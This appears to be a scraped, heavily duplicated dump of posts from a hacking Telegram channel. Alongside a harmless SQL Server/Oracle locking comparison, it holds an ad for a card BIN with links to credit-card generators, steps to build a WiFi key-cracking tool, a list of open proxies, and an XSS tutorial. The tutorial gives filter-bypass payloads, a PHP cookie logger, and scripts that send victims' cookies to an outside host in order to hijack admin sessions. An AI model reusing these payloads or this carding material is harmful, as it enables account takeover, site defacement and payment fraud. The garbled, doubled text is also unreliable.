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π¦ Bin For Facebook Ads 40$ (work in ig nd twitter too)
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> how use bin : https://t.me/UnderCodeTesting/3768
> cc generators 2020 : https://t.me/UnderCodeTesting/34114
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Ip: usa
> how use bin : https://t.me/UnderCodeTesting/3768
> cc generators 2020 : https://t.me/UnderCodeTesting/34114
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π¦ Comparison of SQL Server and Oracle to prevent data locking
t.me/UndercodeTesting
1) Database parallel access, that is, two Or two or more users access the same data at the same time, which is also the biggest problem faced by the database engine how to design and implement a moderate response.
2) A well-designed, high-performance database engine can easily serve thousands of users at the same time. The database system with "lack of confidence" will greatly reduce its performance as more users access the system at the same time. In the worst case, the system may even crash.
3) Of course, parallel access is the most important issue for any database solution. Various database systems have proposed various solutions in order to solve the problem of parallel access. SQL Server and Oracle DBMS also use different parallel processing methods. What is the real difference between them?
π¦ Comparison of SQL Server and Oracle to prevent data locking
t.me/UndercodeTesting
1) Database parallel access, that is, two Or two or more users access the same data at the same time, which is also the biggest problem faced by the database engine how to design and implement a moderate response.
2) A well-designed, high-performance database engine can easily serve thousands of users at the same time. The database system with "lack of confidence" will greatly reduce its performance as more users access the system at the same time. In the worst case, the system may even crash.
3) Of course, parallel access is the most important issue for any database solution. Various database systems have proposed various solutions in order to solve the problem of parallel access. SQL Server and Oracle DBMS also use different parallel processing methods. What is the real difference between them?
π¦
1) Parallel access problems
Parallel access problems arise there are several situations. In the simplest case, more than one user may query the same data at the same time. In this case, the operation goal of the database is simple: provide users with fast data access as much as possible. This is not a problem for our common databases: SQL Server and Oracle both use a multi-threaded mechanism, they can of course handle multiple requests at once.
2) SQL Server Methods
Now assume that some people might start modify the data stored on SQL Server, so this piece of data is immediately lock the database. The data lock operation blocks any other connection that accesses the data-even the query operation will not let go. Therefore, this locked data can only accept other access operations after the transaction is submitted or rolled back.
The following uses the pubs sample database that comes with SQL Server as a simple demonstration. Open two windows in Query Analyzer. Execute the following SQL operation statement in the first window to update the price of a book in the pubs database:
use pubs
go
begin tran
update titles
set price = price * 1.05
where
title_id = 'BU2075'
3) Because the commit statement is not executed in the code, Therefore, the data change operation has not actually been completed. Next, execute the following statement in another window to query the titles data table:
select title_id, title, price
from titles
order by title_id.
4) You get nothing. The small globe icon at the bottom of the window will keep turning. Although I only updated one row in the previous operation, the execution object of the select statement happens to contain the row whose data is being modified. Therefore, the above operation will not return any data unless you go back to the first window to submit the transaction or roll back.
5) SQL Server's data locking scheme may reduce the performance and efficiency of the system. The longer the data is locked, or the larger the amount of data locked, the more likely other data access users will have to wait for the execution of their query statements. Therefore, from the programmer's point of view, the transaction code should be designed to be as small and fast as possible when programming SQL Server.
6) The SQL Server solution sounds simple, but in fact, many measures have been taken behind the scenes to provide adequate system performance. For example, if you are modifying multiple rows of data at the same time, SQL Server will increase the data lock range to the page level or even lock the entire data table, so that you do not have to track and maintain individual data locks for each record.
written by undercode
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
1) Parallel access problems
Parallel access problems arise there are several situations. In the simplest case, more than one user may query the same data at the same time. In this case, the operation goal of the database is simple: provide users with fast data access as much as possible. This is not a problem for our common databases: SQL Server and Oracle both use a multi-threaded mechanism, they can of course handle multiple requests at once.
2) SQL Server Methods
Now assume that some people might start modify the data stored on SQL Server, so this piece of data is immediately lock the database. The data lock operation blocks any other connection that accesses the data-even the query operation will not let go. Therefore, this locked data can only accept other access operations after the transaction is submitted or rolled back.
The following uses the pubs sample database that comes with SQL Server as a simple demonstration. Open two windows in Query Analyzer. Execute the following SQL operation statement in the first window to update the price of a book in the pubs database:
use pubs
go
begin tran
update titles
set price = price * 1.05
where
title_id = 'BU2075'
3) Because the commit statement is not executed in the code, Therefore, the data change operation has not actually been completed. Next, execute the following statement in another window to query the titles data table:
select title_id, title, price
from titles
order by title_id.
4) You get nothing. The small globe icon at the bottom of the window will keep turning. Although I only updated one row in the previous operation, the execution object of the select statement happens to contain the row whose data is being modified. Therefore, the above operation will not return any data unless you go back to the first window to submit the transaction or roll back.
5) SQL Server's data locking scheme may reduce the performance and efficiency of the system. The longer the data is locked, or the larger the amount of data locked, the more likely other data access users will have to wait for the execution of their query statements. Therefore, from the programmer's point of view, the transaction code should be designed to be as small and fast as possible when programming SQL Server.
6) The SQL Server solution sounds simple, but in fact, many measures have been taken behind the scenes to provide adequate system performance. For example, if you are modifying multiple rows of data at the same time, SQL Server will increase the data lock range to the page level or even lock the entire data table, so that you do not have to track and maintain individual data locks for each record.
written by undercode
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ Oracle Method
1) Here we look at how Oracle database is to implement similar operations. First, I open an instance of SQLPlus and execute the following query statement (this example can be found in the example in Oracle 9i). This instance is called the query instance:
select first_name, last_name, salary
from hr.employees
where
department_id = 20; The
code returns two rows of data, as shown below:
2) Then, open another instance of SQLPlus-update the instance to execute the following command:
1 SQL> update hr.employees
2 set salary = salary * 1.05
3 where
4 department_id = 20
5 / After the
code is executed, the reply message says that the two lines of data have been updated.
>Note that in the above code, there is code that type "begin tran" as in the SQL Server example. Oracle's SQLPlus implicitly enables transactions (you can also mimic the behavior of SQL Server and set "autocommit to on" to automatically submit transactions). Next, we execute the same select statement as the query instance in the SQLPlus update instance.
3) The results clearly show that the salary of bboth Michael and Pat has increased, but at this time I have not submitted a data change transaction.
Now go to the first SQLPlus query instance and re-run the query
π¦Oracle does not require the user to wait for the operation to be submitted in the data update instance. It directly returns the query information of Michael and Pat, but actually returns the data before the data update begins. Data view!
5) At this time, people who are familiar with SQL Server may say that setting (NOLOCK) in the query can not achieve the same effect? However, for SQL Server, data cannot be obtained before the data image. Specifying (NOLOCK) actually just got the data that was not submitted. Oracle's approach provides a consistent view of the data. All information is transaction-oriented and based on stored data snapshots.
6) If you submit an update transaction in the update instance of SQLPlus, you can see the salary data change in the query instance. If you rerun the previous query statement in the query instance, Oracle will return the new salary value.
π¦ Storing data snapshot
That for a long, displayed to the user in a previous version of the data at the same time, Oracle is how to allow other users to modify data in it? In fact, as soon as a user initiates a transaction to modify data, the previous data image will be written to a special storage area. This "front image" is used to provide a consistent view of the database to any user who queries the data. In this way, when other users are modifying the data, we can see the salary data that has not changed in the above test.
written by undercode
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ Oracle Method
1) Here we look at how Oracle database is to implement similar operations. First, I open an instance of SQLPlus and execute the following query statement (this example can be found in the example in Oracle 9i). This instance is called the query instance:
select first_name, last_name, salary
from hr.employees
where
department_id = 20; The
code returns two rows of data, as shown below:
2) Then, open another instance of SQLPlus-update the instance to execute the following command:
1 SQL> update hr.employees
2 set salary = salary * 1.05
3 where
4 department_id = 20
5 / After the
code is executed, the reply message says that the two lines of data have been updated.
>Note that in the above code, there is code that type "begin tran" as in the SQL Server example. Oracle's SQLPlus implicitly enables transactions (you can also mimic the behavior of SQL Server and set "autocommit to on" to automatically submit transactions). Next, we execute the same select statement as the query instance in the SQLPlus update instance.
3) The results clearly show that the salary of bboth Michael and Pat has increased, but at this time I have not submitted a data change transaction.
Now go to the first SQLPlus query instance and re-run the query
π¦Oracle does not require the user to wait for the operation to be submitted in the data update instance. It directly returns the query information of Michael and Pat, but actually returns the data before the data update begins. Data view!
5) At this time, people who are familiar with SQL Server may say that setting (NOLOCK) in the query can not achieve the same effect? However, for SQL Server, data cannot be obtained before the data image. Specifying (NOLOCK) actually just got the data that was not submitted. Oracle's approach provides a consistent view of the data. All information is transaction-oriented and based on stored data snapshots.
6) If you submit an update transaction in the update instance of SQLPlus, you can see the salary data change in the query instance. If you rerun the previous query statement in the query instance, Oracle will return the new salary value.
π¦ Storing data snapshot
That for a long, displayed to the user in a previous version of the data at the same time, Oracle is how to allow other users to modify data in it? In fact, as soon as a user initiates a transaction to modify data, the previous data image will be written to a special storage area. This "front image" is used to provide a consistent view of the database to any user who queries the data. In this way, when other users are modifying the data, we can see the salary data that has not changed in the above test.
written by undercode
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦WIFI HACKING
A Router WiFi key recovery/cracking tool with a twist.
t.me/UndercodeTesting
π¦πβπππΈπππππΈπππβ & βπβ :
1) git clone https://github.com/k0r0pt/Project-Tauro.git
2) git submodule update --init --recursive - This will update the build scripts in the repo.
3) gradle build - This will build and install the module in your local Maven repository.
π¦ Installing Tauro
When all the dependencies (as well as Tauro itself) have been built, the distribution package will be under build/distributions in the directory where you cloned Project-Tauro (this repository). There will be a zip file and a tar file. Extract either one of those to a location of your choice. For ease, let's say you extracted the distribution package to ~/.h4X0r/tools. Then follow these steps:
1) cd ~/.h4X0r/tools - Navigate to the extract location.
2) cd Project-Tauro-<version-number> - The version number will vary based on when you have cloned the repo.
3) cd bin - This is where the binaries are.
4) ./Project-Tauro - There's a bat file for Windows and a shell file for *nixes and *nuxes.
pwd (for Linux/Unix/Mac) or echo %cd% (for Windows) - Note the output and copy it.
5) export PATH=$PATH:<paste> (for Linux/Unix/Mac) or set PATH=%PATH%;<paste> (for Windows) - <paste> is where you paste what you copied in the last step.
π¦Database setup :
1) Make this directory structure in your home folder: .h4X0r/k0r0pt/db. In *nix, *nux, your home folder will be at /home/<your-username>. In MacOS, your home folder will be at /Users/<your-username>. In Windows, your home folder will be at C:\Users\<your-username>.
2) For Windows prior to Windows 7, your home folder will be at C:\Documents and Settings\<your-username>.
3) Copy WirelessStations.sqlite over to the directory you made in the step earlier .h4X0r/k0r0pt/db.
4) Rejoice, for you're all set to go.
THAT ALL !
β TESTED BY UNDERCODE
> kali
> parrot
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦WIFI HACKING
A Router WiFi key recovery/cracking tool with a twist.
t.me/UndercodeTesting
π¦πβπππΈπππππΈπππβ & βπβ :
1) git clone https://github.com/k0r0pt/Project-Tauro.git
2) git submodule update --init --recursive - This will update the build scripts in the repo.
3) gradle build - This will build and install the module in your local Maven repository.
π¦ Installing Tauro
When all the dependencies (as well as Tauro itself) have been built, the distribution package will be under build/distributions in the directory where you cloned Project-Tauro (this repository). There will be a zip file and a tar file. Extract either one of those to a location of your choice. For ease, let's say you extracted the distribution package to ~/.h4X0r/tools. Then follow these steps:
1) cd ~/.h4X0r/tools - Navigate to the extract location.
2) cd Project-Tauro-<version-number> - The version number will vary based on when you have cloned the repo.
3) cd bin - This is where the binaries are.
4) ./Project-Tauro - There's a bat file for Windows and a shell file for *nixes and *nuxes.
pwd (for Linux/Unix/Mac) or echo %cd% (for Windows) - Note the output and copy it.
5) export PATH=$PATH:<paste> (for Linux/Unix/Mac) or set PATH=%PATH%;<paste> (for Windows) - <paste> is where you paste what you copied in the last step.
π¦Database setup :
1) Make this directory structure in your home folder: .h4X0r/k0r0pt/db. In *nix, *nux, your home folder will be at /home/<your-username>. In MacOS, your home folder will be at /Users/<your-username>. In Windows, your home folder will be at C:\Users\<your-username>.
2) For Windows prior to Windows 7, your home folder will be at C:\Documents and Settings\<your-username>.
3) Copy WirelessStations.sqlite over to the directory you made in the step earlier .h4X0r/k0r0pt/db.
4) Rejoice, for you're all set to go.
THAT ALL !
β TESTED BY UNDERCODE
> kali
> parrot
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦FRESH ELITE PROXIES 1 H
fbc.om/undercodeTesting
144.76.214.154 1080 1 hour ago
3125 ms 63% (53) de Germany Elite -
163.172.60.116 8118 1 hour ago
669 ms 8% (66) fr France Elite -
161.117.56.255 8000 1 hour ago
1329 ms 8% (82) sg Singapore Elite -
90.189.209.127 80 1 hour ago
3381 ms 20% (50) ru Russia Elite -
103.209.64.19 6666 1 hour ago
4641 ms 9% (74) in India - Valsad Elite -
122.226.57.70 8888 1 hour ago
1234 ms 57% (51) cn China Elite -
123.163.96.183 9999 1 hour ago
0 ms 0% (68) cn China - Beijing Elite -
139.255.42.156 8888 1 hour ago
3784 ms 32% (58) id Indonesia - Jakarta Elite -
34.87.96.183 80 1 hour ago
2562 ms 27% (26) us United States Elite -
39.105.28.28 8118 1 hour ago
1296 ms 3% (82) cn China - Hangzhou Elite -
218.203.132.117 808 1 hour ago
3134 ms 12% (84) cn China Elite -
39.137.107.98 8080 1 hour ago
2173 ms 10% (94) cn China Elite -
45.236.91.20 8880 1 hour ago
1005 ms 91% (41) eg Egypt Elite -
85.172.104.162 8000 1 hour ago
876 ms 68% (49) ru Russia - Gelendzhik Elite -
180.252.181.2 80 1 hour ago
1023 ms 100% (37) id Indonesia - Samarinda Elite -
183.223.241.242 80 1 hour ago
3319 ms 31% (53) cn China Elite -
188.40.183.187 1080 1 hour ago
2350 ms 45% (58) de Germany Elite -
192.117.146.110 80 1 hour ago
2986 ms 27% (64) il Israel - Haifa Elite -
188.40.183.185 1080 1 hour ago
2522 ms 28% (69) de Germany Elite -
114.99.54.65 8118 1 hour ago
1151 ms 16% (70) cn China - Anqing Elite -
153.121.36.194 8118 1 hour ago
1353 ms 9% (80) jp Japan - Tokyo Elite -
157.245.62.184 3000 1 hour ago
1485 ms 31% (68) sg Singapore Elite -
91.205.174.26 80 1 hour ago
736 ms 99% (51) de Germany - Munich Elite -
85.90.215.111 3128 1 hour ago
3692 ms 22% (83) ua Ukraine - Kharkiv Elite -
103.11.23.0 8085 1 hour ago
2803 ms 18% (70) id Indonesia Elite -
35.220.131.188 80 1 hour ago
925 ms 63% (53) us United States Elite -
218.58.193.98 8060 1 hour ago
1710 ms 19% (77) cn China - Linyi Elite -
34.92.94.5 8123 1 hour ago
2377 ms 19% (66) us United States Elite -
39.137.69.10 8080 1 hour ago
2964 ms 12% (52) cn China Elite -
46.235.53.26 3128 1 hour ago
1587 ms 59% (56) ru Russia - Moscow Elite -
52.161.188.149 80 1 hour ago
188 ms 100% (52) us United States Elite -
52.161.188.148 80 1 hour ago
176 ms 100% (44) us United States Elite -
47.75.71.222 3000 1 hour ago
2036 ms 49% (43) us United States Elite -
18.163.28.22 1080 1 hour ago
1276 ms 51% (57) hk Hong Kong Elite -
125.59.223.27 8380 1 hour ago
890 ms 33% (71) hk Hong Kong Elite -
@undercodeTesting
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦FRESH ELITE PROXIES 1 H
fbc.om/undercodeTesting
144.76.214.154 1080 1 hour ago
3125 ms 63% (53) de Germany Elite -
163.172.60.116 8118 1 hour ago
669 ms 8% (66) fr France Elite -
161.117.56.255 8000 1 hour ago
1329 ms 8% (82) sg Singapore Elite -
90.189.209.127 80 1 hour ago
3381 ms 20% (50) ru Russia Elite -
103.209.64.19 6666 1 hour ago
4641 ms 9% (74) in India - Valsad Elite -
122.226.57.70 8888 1 hour ago
1234 ms 57% (51) cn China Elite -
123.163.96.183 9999 1 hour ago
0 ms 0% (68) cn China - Beijing Elite -
139.255.42.156 8888 1 hour ago
3784 ms 32% (58) id Indonesia - Jakarta Elite -
34.87.96.183 80 1 hour ago
2562 ms 27% (26) us United States Elite -
39.105.28.28 8118 1 hour ago
1296 ms 3% (82) cn China - Hangzhou Elite -
218.203.132.117 808 1 hour ago
3134 ms 12% (84) cn China Elite -
39.137.107.98 8080 1 hour ago
2173 ms 10% (94) cn China Elite -
45.236.91.20 8880 1 hour ago
1005 ms 91% (41) eg Egypt Elite -
85.172.104.162 8000 1 hour ago
876 ms 68% (49) ru Russia - Gelendzhik Elite -
180.252.181.2 80 1 hour ago
1023 ms 100% (37) id Indonesia - Samarinda Elite -
183.223.241.242 80 1 hour ago
3319 ms 31% (53) cn China Elite -
188.40.183.187 1080 1 hour ago
2350 ms 45% (58) de Germany Elite -
192.117.146.110 80 1 hour ago
2986 ms 27% (64) il Israel - Haifa Elite -
188.40.183.185 1080 1 hour ago
2522 ms 28% (69) de Germany Elite -
114.99.54.65 8118 1 hour ago
1151 ms 16% (70) cn China - Anqing Elite -
153.121.36.194 8118 1 hour ago
1353 ms 9% (80) jp Japan - Tokyo Elite -
157.245.62.184 3000 1 hour ago
1485 ms 31% (68) sg Singapore Elite -
91.205.174.26 80 1 hour ago
736 ms 99% (51) de Germany - Munich Elite -
85.90.215.111 3128 1 hour ago
3692 ms 22% (83) ua Ukraine - Kharkiv Elite -
103.11.23.0 8085 1 hour ago
2803 ms 18% (70) id Indonesia Elite -
35.220.131.188 80 1 hour ago
925 ms 63% (53) us United States Elite -
218.58.193.98 8060 1 hour ago
1710 ms 19% (77) cn China - Linyi Elite -
34.92.94.5 8123 1 hour ago
2377 ms 19% (66) us United States Elite -
39.137.69.10 8080 1 hour ago
2964 ms 12% (52) cn China Elite -
46.235.53.26 3128 1 hour ago
1587 ms 59% (56) ru Russia - Moscow Elite -
52.161.188.149 80 1 hour ago
188 ms 100% (52) us United States Elite -
52.161.188.148 80 1 hour ago
176 ms 100% (44) us United States Elite -
47.75.71.222 3000 1 hour ago
2036 ms 49% (43) us United States Elite -
18.163.28.22 1080 1 hour ago
1276 ms 51% (57) hk Hong Kong Elite -
125.59.223.27 8380 1 hour ago
890 ms 33% (71) hk Hong Kong Elite -
@undercodeTesting
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ Website Hacking β The Most Common Techniques
1) SQL Injection attacks. SQL Injection attack is the most common website hacking technique. ...
2) Cross Site Scripting (XSS) ...
3) Denial of Service (DoS/DDoS) ...
4) Cross-site request forgery (CSRF or XSRF) ...
5) DNS Spoofing (DNS cache poisoning) ...
6) Social engineering techniques. ...
7) Non-targeted website hacking.
@undercodeTesting
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ Website Hacking β The Most Common Techniques
1) SQL Injection attacks. SQL Injection attack is the most common website hacking technique. ...
2) Cross Site Scripting (XSS) ...
3) Denial of Service (DoS/DDoS) ...
4) Cross-site request forgery (CSRF or XSRF) ...
5) DNS Spoofing (DNS cache poisoning) ...
6) Social engineering techniques. ...
7) Non-targeted website hacking.
@undercodeTesting
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦XSS tutorial, a complete method of cross-site scripting by undercode :
instagram.com/UndercodeTesting
π¦ππΌπ'π πππΈβπ :
1) Detection for XSS ***:
First, you must check if the website is vulnerable to an XSS
injection.
2) To do this, find a text input field on the Ξ½ictim website. You enter text that must be displayed somewhere on the website. Some common XSS injection locations are your user name, signature, or member profile, a post or a forum topic, or search online, reflecting the contact information for your search ("your text search").
3) Once you find a website that meets the above requirements, you can enter a test injection location. <script> alert (1) </ script> Enter into the text field and submit the form. It should return an alert (popup) with the number
> Remember to try in multiple browsers, some like Google Chrome will not be affected, all XSS injections may not be able to create an alert.
4) Screening for tax evasion
, sometimes you Ξ½ictims will try to prevent the input filter implemented by XSS injection. are a few options :
A) If it returns a blank / empty reflection or "invalid input" error, then the site is most likely to block the keywords <script> and </ SCRIPT>. You can bypass this filter if you change the script tag at all. For example, <SCRIPT> alert (1) </ SCRIPT> or <ScripT> alert (1) </ ScripT>
B) If it returns your script with surrounding quotes ("<script> alert (1) </ script>"), then you can try to close the script before starting the quotes. You can do this by adding "Previous Script>. For example,"> <script> alert (1) </ alert>. The negative factor of the quote is because when the script placed around the script is converted to plain text, and its function is not allowed.
C) If there is no <script> tag (only alert (1)) to return your script, then it is just to delete the tag, not to consider the entire input to be invalid. To bypass this just add another tag around the <script> tag. For example, <sc <script> ript> alert (1) </ sc </ script> ript>. The filter will automatically delete the tag to overwrite your input, so only <script> alert (1) </ script> will remain.
D) If the site does not allow you to post script tags at all, remind you that you can try hexadecimal encoding to your script. You can convert to hexadecimal by using XLATE or any other free ASCII. Once the hex version of your script, you can enter it like the ASCII version of the script you made, and it will all have the same result.
π¦ MaxLength limit:
In many cases, the input field will have a character that can be entered, and your script will sometimes exceed this limit, the amount limit. There are a few methods you can use to bypass this:
Method 1: On some websites, you will be able to increase the maximum characters allowed. To change the MaxLength, perform the following steps:
1. Right-click the input field
2. Click "Check Elements"
3. Find the line holding <input id = "query" type = "text" maxlength = "10" size = "13" name = "search_term"> increased number of maxlength =
"4. Submit the form. If it returns an error , Indicating that the information entered in the form is wrong, then the website is not susceptible to this.
π¦XSS tutorial, a complete method of cross-site scripting by undercode :
instagram.com/UndercodeTesting
π¦ππΌπ'π πππΈβπ :
1) Detection for XSS ***:
First, you must check if the website is vulnerable to an XSS
injection.
2) To do this, find a text input field on the Ξ½ictim website. You enter text that must be displayed somewhere on the website. Some common XSS injection locations are your user name, signature, or member profile, a post or a forum topic, or search online, reflecting the contact information for your search ("your text search").
3) Once you find a website that meets the above requirements, you can enter a test injection location. <script> alert (1) </ script> Enter into the text field and submit the form. It should return an alert (popup) with the number
> Remember to try in multiple browsers, some like Google Chrome will not be affected, all XSS injections may not be able to create an alert.
4) Screening for tax evasion
, sometimes you Ξ½ictims will try to prevent the input filter implemented by XSS injection. are a few options :
A) If it returns a blank / empty reflection or "invalid input" error, then the site is most likely to block the keywords <script> and </ SCRIPT>. You can bypass this filter if you change the script tag at all. For example, <SCRIPT> alert (1) </ SCRIPT> or <ScripT> alert (1) </ ScripT>
B) If it returns your script with surrounding quotes ("<script> alert (1) </ script>"), then you can try to close the script before starting the quotes. You can do this by adding "Previous Script>. For example,"> <script> alert (1) </ alert>. The negative factor of the quote is because when the script placed around the script is converted to plain text, and its function is not allowed.
C) If there is no <script> tag (only alert (1)) to return your script, then it is just to delete the tag, not to consider the entire input to be invalid. To bypass this just add another tag around the <script> tag. For example, <sc <script> ript> alert (1) </ sc </ script> ript>. The filter will automatically delete the tag to overwrite your input, so only <script> alert (1) </ script> will remain.
D) If the site does not allow you to post script tags at all, remind you that you can try hexadecimal encoding to your script. You can convert to hexadecimal by using XLATE or any other free ASCII. Once the hex version of your script, you can enter it like the ASCII version of the script you made, and it will all have the same result.
π¦ MaxLength limit:
In many cases, the input field will have a character that can be entered, and your script will sometimes exceed this limit, the amount limit. There are a few methods you can use to bypass this:
Method 1: On some websites, you will be able to increase the maximum characters allowed. To change the MaxLength, perform the following steps:
1. Right-click the input field
2. Click "Check Elements"
3. Find the line holding <input id = "query" type = "text" maxlength = "10" size = "13" name = "search_term"> increased number of maxlength =
"4. Submit the form. If it returns an error , Indicating that the information entered in the form is wrong, then the website is not susceptible to this.
π¦Method 2: XSS
> Upload the script to your server and enter it as the source. There are two ways to do this:
1. <img src = 'http: //baidu.com/YourScript.js'> </ IMG>
2. <script src = 'http: //baidu.com/YourScript.js'> </ SCRIPT>
4. *** Media:
There are two main types of XSS vulnerabilities, reflection and persistence. Reflect XSS is an input field that you fill in like a search bar, an email subscription field, or nothing will stay on the site permanently and will disappear as soon as you leave the page. These all need the effect with the help of social engineering. A persistent XSS vulnerability is used in fields such as comment, public profile information, or anything else, will stay on site and show the location on the site to others.
If you find a persistent XSS on the site, you will be able to run any script you want, including the ability to deface certain pages (I think most of you read what you
want if you find a reflective XSS). You can run scripts on websites like stealing cookies and CSRF, but it requires some social engineering. I think very useful cookie theft will explain why it is further in this tutorial, but I will also show you how to deface a website through a persistent XSS vulnerability.
> Upload the script to your server and enter it as the source. There are two ways to do this:
1. <img src = 'http: //baidu.com/YourScript.js'> </ IMG>
2. <script src = 'http: //baidu.com/YourScript.js'> </ SCRIPT>
4. *** Media:
There are two main types of XSS vulnerabilities, reflection and persistence. Reflect XSS is an input field that you fill in like a search bar, an email subscription field, or nothing will stay on the site permanently and will disappear as soon as you leave the page. These all need the effect with the help of social engineering. A persistent XSS vulnerability is used in fields such as comment, public profile information, or anything else, will stay on site and show the location on the site to others.
If you find a persistent XSS on the site, you will be able to run any script you want, including the ability to deface certain pages (I think most of you read what you
want if you find a reflective XSS). You can run scripts on websites like stealing cookies and CSRF, but it requires some social engineering. I think very useful cookie theft will explain why it is further in this tutorial, but I will also show you how to deface a website through a persistent XSS vulnerability.
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π¦HOW Theft of cookies ?
t.me/UndercodeTesting
1) Find the weak XSSI location on the website. Will we use Site.com/search.word? = (The script is here).
2) Your cookie is uploaded to the web server. You can use a paid web hosting like Go Daddy and hosting GATOR or similar free one
3) Open Notepad and paste the following:
PHP code:
<? php
$ cookie = $ _GET ['cookie'];
$ log = fopen ("log.txt", "a");
fwrite ($ log, $ cookie. "\ n");
fclose ($ log);
?>
It is saved as logger.php.
4) Upload logger.php to the root folder of the web server.
5) Add to the root folder, and a file named log.txt.
6) Add the following script to your XSS injection URL (replace baidu.com/logger.php with your website / logger.php).
Postcode: <SCRIPT> document.location = "http://www.baidu.com/logger.php?cookie =" + document.cookie; </ SCRIPT>
If you want this to be less obvious, then you can use another script to redirect them back to the ictim website after they visit your cookie recorder:
Postcode: <script language = "JavaScript"> document.location = "http://baidu.com/logger.php?cookie =" + document.cookie; document.location = "http://www.Site.com" </ SCRIPT>
7) Send the target XSS injected link. For example, we will baidu.com / search.word = <SCRIPT> document.location = "http://www.baidu.com/logger.php?cookie =" + document.cookie ;? </ SCRIPT>. If you don't want your target to see the script, you can go to hexadecimal encoding, just like scenario 4 for filtering tax evasion. Coded scripts only (Site.com/search.word after everything? =).
8) You have successfully recorded their cookies! Site.com sends them to your logger and you now have your own site.com cookies. Now, collect their PHPSESSID or any other session ID cookie you logged in.
9) Download the additional "Edit this cookie" Google Chrome and Mozilla Firefox.
10) Go edit this cookie and replace the session ID with them. Now click on "Submit Cookie Changes". Now you should record the management / target account. Now you can do anything that does not require you to enter your own password, delete a thread from a post or send a private message (if you are an administrator account), maybe deface the website, or ban members.
written by undercode
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π¦HOW Theft of cookies ?
t.me/UndercodeTesting
1) Find the weak XSSI location on the website. Will we use Site.com/search.word? = (The script is here).
2) Your cookie is uploaded to the web server. You can use a paid web hosting like Go Daddy and hosting GATOR or similar free one
3) Open Notepad and paste the following:
PHP code:
<? php
$ cookie = $ _GET ['cookie'];
$ log = fopen ("log.txt", "a");
fwrite ($ log, $ cookie. "\ n");
fclose ($ log);
?>
It is saved as logger.php.
4) Upload logger.php to the root folder of the web server.
5) Add to the root folder, and a file named log.txt.
6) Add the following script to your XSS injection URL (replace baidu.com/logger.php with your website / logger.php).
Postcode: <SCRIPT> document.location = "http://www.baidu.com/logger.php?cookie =" + document.cookie; </ SCRIPT>
If you want this to be less obvious, then you can use another script to redirect them back to the ictim website after they visit your cookie recorder:
Postcode: <script language = "JavaScript"> document.location = "http://baidu.com/logger.php?cookie =" + document.cookie; document.location = "http://www.Site.com" </ SCRIPT>
7) Send the target XSS injected link. For example, we will baidu.com / search.word = <SCRIPT> document.location = "http://www.baidu.com/logger.php?cookie =" + document.cookie ;? </ SCRIPT>. If you don't want your target to see the script, you can go to hexadecimal encoding, just like scenario 4 for filtering tax evasion. Coded scripts only (Site.com/search.word after everything? =).
8) You have successfully recorded their cookies! Site.com sends them to your logger and you now have your own site.com cookies. Now, collect their PHPSESSID or any other session ID cookie you logged in.
9) Download the additional "Edit this cookie" Google Chrome and Mozilla Firefox.
10) Go edit this cookie and replace the session ID with them. Now click on "Submit Cookie Changes". Now you should record the management / target account. Now you can do anything that does not require you to enter your own password, delete a thread from a post or send a private message (if you are an administrator account), maybe deface the website, or ban members.
written by undercode
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π¦XSS cross-site scripting vulnerability
T.me/UndercodeTesting
> Since XSS Cross-Site Scripting (XSS) was born in 1996, it has experienced more than ten years of evolution. Because it is the same as the abbreviation of another web technology-Cascading Style Sheets (CSS), in order to prevent confusion, the original CSS is abbreviated as XSS.
π¦ Cross-site scripting attacks are a common web security vulnerability. The biggest feature of XSS is that it can inject malicious HTML / JavaScript code into the webpages browsed by users, which is caused by the insufficient filtering of user input by WEB applications. When users browse these When the web page, it will execute malicious code. Since HTML code and client-side JavaScript script can be executed arbitrarily in the browser on the victim's host, this is equivalent to completely controlling the logic of the WEB client. On this basis, hackers can easily initiate cookie theft, session hijacking, phishing spoofing, etc. Various attacks.
> XSS is very similar to CSRF, and it is easy to confuse. XSS uses trusted users in the site, and CSRF uses trusted websites by disguising requests from trusted users. The biggest difference between CSRF and XSS is that CSRF is not stolen. Take cookies but use them directly. XSS is to obtain information without knowing the codes and data packages of other user pages in advance. CSRF is to replace the user to complete the specified action, you need to know the code and data package of other user pages.
π¦ Attack process:
1) Some commonly used scripts
Use XSS bullet warning box:
<script> alert (' xss' ) </ script>
2) Get cookie value:
<script> alert ( document.cookie ) </ script>
3) Embed in other websites:
<iframe src = http: //siteexample.com width = 0 height = 0> </ iframe>
4) The XSS input may also be an HTML code segment, such as making the webpage refresh constantly:
<meta http- equiv = "refresh" content = "0;">
written by undercode
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π¦XSS cross-site scripting vulnerability
T.me/UndercodeTesting
> Since XSS Cross-Site Scripting (XSS) was born in 1996, it has experienced more than ten years of evolution. Because it is the same as the abbreviation of another web technology-Cascading Style Sheets (CSS), in order to prevent confusion, the original CSS is abbreviated as XSS.
π¦ Cross-site scripting attacks are a common web security vulnerability. The biggest feature of XSS is that it can inject malicious HTML / JavaScript code into the webpages browsed by users, which is caused by the insufficient filtering of user input by WEB applications. When users browse these When the web page, it will execute malicious code. Since HTML code and client-side JavaScript script can be executed arbitrarily in the browser on the victim's host, this is equivalent to completely controlling the logic of the WEB client. On this basis, hackers can easily initiate cookie theft, session hijacking, phishing spoofing, etc. Various attacks.
> XSS is very similar to CSRF, and it is easy to confuse. XSS uses trusted users in the site, and CSRF uses trusted websites by disguising requests from trusted users. The biggest difference between CSRF and XSS is that CSRF is not stolen. Take cookies but use them directly. XSS is to obtain information without knowing the codes and data packages of other user pages in advance. CSRF is to replace the user to complete the specified action, you need to know the code and data package of other user pages.
π¦ Attack process:
1) Some commonly used scripts
Use XSS bullet warning box:
<script> alert (' xss' ) </ script>
2) Get cookie value:
<script> alert ( document.cookie ) </ script>
3) Embed in other websites:
<iframe src = http: //siteexample.com width = 0 height = 0> </ iframe>
